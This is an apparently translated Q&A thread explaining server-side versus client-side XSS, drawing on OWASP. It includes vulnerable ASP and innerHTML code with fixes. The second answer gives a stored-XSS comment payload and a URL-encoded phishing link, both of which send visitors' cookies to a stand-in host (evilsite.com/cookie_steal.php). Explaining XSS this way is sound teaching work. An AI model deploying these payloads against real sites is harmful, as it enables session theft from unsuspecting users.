服务器XSS与客户端XSS

时间:2015-02-08 10:40:35

标签: xss owasp

对服务器XSS和客户端XSS之间的区别有什么明确的解释?

我在OWASP的网站上阅读了解释,但对我来说并不是很清楚。我知道反映的,存储的en DOM类型。

2 个答案:

答案 0 :(得分:7)

首先,要为找到问题的其他人设置场景,我们会在OWASP Types of Cross-Site Scripting页面中显示文字:

  

服务器XSS

     

当不受信任的用户提供的数据包含在服务器生成的HTML响应中时,就会发生服务器XSS。的来源   这些数据可以来自请求,也可以来自存储的位置。如   这样,您可以同时拥有Reflected Server XSS和Stored Server XSS。

     

在这种情况下,整个漏洞都在服务器端代码中,而且   浏览器只是渲染响应并执行任何有效的   嵌入其中的脚本。

     

客户端XSS

     

当使用不受信任的用户提供的数据进行更新时,会发生客户端XSS   DOM带有不安全的JavaScript调用。 JavaScript调用是   如果它可用于引入有效的JavaScript,则被认为是不安全的   DOM。这个数据的来源可以来自DOM,也可以   已由服务器发送(通过AJAX调用或页面加载)。该   数据的最终来源可能来自一个请求,也可能来自一个   存储在客户端或服务器上的位置。因此,你可以拥有   反射客户端XSS和存储客户端XSS。

这将XSS重新定义为两类:服务器和客户端。

服务器XSS意味着数据直接从服务器进入页面。例如,包含未清理文本的数据来自构成易受攻击页面的HTTP响应。

客户端XSS意味着数据来自操纵页面的JavaScript。因此,JavaScript是将未经过处理的文本添加到页面中,而不是在首次在浏览器中加载时位于该位置的页面中。

服务器XSS的示例

ASP(或ASP.NET)页面在生成时向HTML页面输出一个变量,该变量直接从数据库中获取:

<%=firstName %>

由于firstName不是HTML编码,恶意用户可能已将其名字输入为<script>alert('foo')</script>,从而导致XSS攻击成功。

另一个例子是在没有事先存储的情况下通过服务器处理的变量输出:

<%=Request.Form["FirstName"] %>

客户端XSS *

的示例
<script type="text/javascript">
function loadXMLDoc() {
    var xmlhttp;

    if (window.XMLHttpRequest) {
        // code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp = new XMLHttpRequest();
    } else {
        // code for IE6, IE5
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }

    xmlhttp.onreadystatechange = function() {
        if (xmlhttp.readyState == 4 ) {
           if(xmlhttp.status == 200){
               document.getElementById("myDiv").innerHTML = xmlhttp.responseText;
           }
           else if(xmlhttp.status == 400) {
              alert('There was an error 400')
           }
           else {
               alert('something else other than 200 was returned')
           }
        }
    }

    xmlhttp.open("GET", "get_first_name.aspx", true);
    xmlhttp.send();
}
</script>

请注意,我们的get_first_name.aspx方法不会对返回的数据进行编码,因为它是一种也被其他系统使用的Web服务方法(content-type设置为text/plain)。我们的JavaScript代码将innerHTML设置为此值,因此它容易受到客户端XSS的攻击。为避免此实例中的客户端XSS,应使用innerText而不是innerHTML,这将不会导致HTML字符的解释。使用textContent会更好,因为Firefox与非标准innerText属性不兼容。

*代码改编自this answer

答案 1 :(得分:1)

SilverlightFox已经很好地解释了一切,但我想补充一些例子。

服务器XSS:
所以我们说,我们发现了一个易受攻击的网站,它没有正确处理评论框文本。我们创建一个新评论并输入:

<p>This picture gives me chills</p>
<script>img=new Image();img.src="http://www.evilsite.com/cookie_steal.php?cookie="+document.cookie+"&url="+document.domain;</script>

我们还创建了一个PHP脚本,将GET值保存到文本文件中,然后我们可以继续窃取用户的cookie。每次有人加载注入的评论时,cookie都会被发送,甚至不需要看到它(只能看到&#34;这张图片让我感到寒意&#34;评论)。


客户XSS:
我们说我们找到了一个网站,它有易受攻击的搜索栏,并解析我们搜索到页面的HTML。要测试它,只需搜索:

<font color="red">Test</font>

如果搜索结果显示单词&#34; Test&#34;在红色中,搜索引擎容易受到客户端XSS的攻击。攻击者随后使用该网站用户的个人消息/电子邮件,向用户发送无辜的网址。这看起来像是:

Hello, I recently had a problem with this website's search engine.
Please click on following link:
http://www.vulnerable-site.com/search.php?q=%3C%73%63%72%69%70%74%3E%69%6D%67%3D%6E%65%77%20%49%6D%61%67%65%28%29%3B%69%6D%67%2E%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%65%76%69%6C%73%69%74%65%2E%63%6F%6D%2F%63%6F%6F%6B%69%65%5F%73%74%65%61%6C%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2B%22%26%75%72%6C%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%3B%3C%2F%73%63%72%69%70%74%3E

当任何人点击该链接时,代码将从他们的浏览器启动(其编码为URL字符,因为否则用户可能会怀疑网站网址中的脚本),与上面的脚本做同样的事情 - &gt;窃取用户的cookie。

但是,如果您在没有网站批准的所有者的情况下使用此功能,那么您将违反法律规定。 记住这一点,并使用我的示例修复您网站上的XSS漏洞。